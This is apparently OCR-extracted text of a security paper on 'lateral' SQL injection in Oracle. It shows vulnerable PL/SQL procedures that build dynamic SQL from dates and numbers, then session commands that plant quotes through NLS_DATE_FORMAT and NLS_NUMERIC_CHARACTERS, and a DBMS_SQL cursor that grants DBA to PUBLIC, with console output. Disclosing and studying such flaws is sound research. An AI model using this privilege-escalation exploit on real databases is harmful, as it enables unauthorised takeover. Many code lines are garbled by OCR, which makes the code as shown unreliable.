Lateral SQL Injection:
A New Class of Vulnerability in Oracle
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create or replace procedure date proc is
stmt varchar2 (200);
v_date date:=sysdate;

begin
stmt:="'select object name from all objects where created = ''' ||
v _date [| ""'";

dbms output.put line(stmt);
execute immediate stmt;

end;
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create or replace procedure date proc 2 (p _date) is
stmt varchar2 (200);

begin
stmt:="'select object name from all objects where created = ''' ||
p_date I | Ty l,.

dbms output.put line(stmt);
execute immediate stmt;

end;
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SQL> exec date proc_2(''' and scott.getdba()=1--");

BEGIN date proc(''' and scott.getdba()=1--"); END;

ERROR at line 1:
ORA-01841: (full) year must be between -4713 and +9999, and not be O
ORA-06512: at line 1
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SQL> ALTER SESSION SET NLS DATE FORMAT = '"'' and scott.getdba()=1--"";
Session altered.
SQL> exec date proc 2(''' and scott.getdba()=1--");
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ERROR at line 1:



ORA-00904: "SCOTT"."GETDBA": invalid identifier
ORA-06512: at "SYS.DATE PROC 2", line 5
ORA-06512: at line 1
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SQL> ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''"';

Session altered.
SQL> SELECT SYSDATE FROM DUAL;

SYSDATE

THIS IS A SINGLE QUOTE '
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SQL> EXEC DATE PROC() ;
BEGIN DATE PRC(); END;
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ERROR at line 1:

ORA-01756: quoted string not properly terminated
ORA-06512: at "SYS.DATE PRC", line 7

ORA-06512: at line 1
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SQL> SET SERVEROUTPUT ON
SQL> DECLARE
2 N NUMBER;
3 BEGIN
4 N:=DBMS_SQL.OPEN CURSOR () ;
5 DBMS_SQL.PARSE (N, 'DECLARE PRAGMA AUTONOMOUS TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT DBA TO PUBLIC''; END;',0);

6 DBMS OUTPUT.PUT LINE('Cursor is: '|[| N);
7 END;
8 /

Cursor is: 4

PL/SQL procedure successfully completed.



SQL> ALTER SESSION SET NLS DATE FORMAT = '"'' AND
DBMS_SQL .EXECUTE (4 ) =] =="7 ;

Session altered.
SQL> EXEC DATE PROC() ;
select object name from all objects where CREATED = '' AND

DBMS SQL.EXECUTE (4)=1--"

PL/SQL procedure successfully completed.
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create procedure num _proc (n number) is
stmt varchar2(2000) ;

begin

stmt:="'select object name from all objects where object id = ' ||
execute immediate stmt;

end;

/

SQL> ALTER SESSION SET NLS NUMERIC CHARACTERS = '''.' ;

SQL> SELECT TO_NUMBER( 100000.10001, '999999D99999') FROM DUAL;

TO NUMBER (100000.10001, '999999D99999")

100000'1

SQL> exec num_proc (TO NUMBER( 100000.10001, '999999D99999"));
BEGIN num_proc (TO _NUMBER( 100000.10001, '999999D99999')); END;
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ERROR at line 1:

ORA-01756: quoted string not properly terminated
ORA-06512: at "SYS.NUM PROC", line 5

ORA-06512: at line 1
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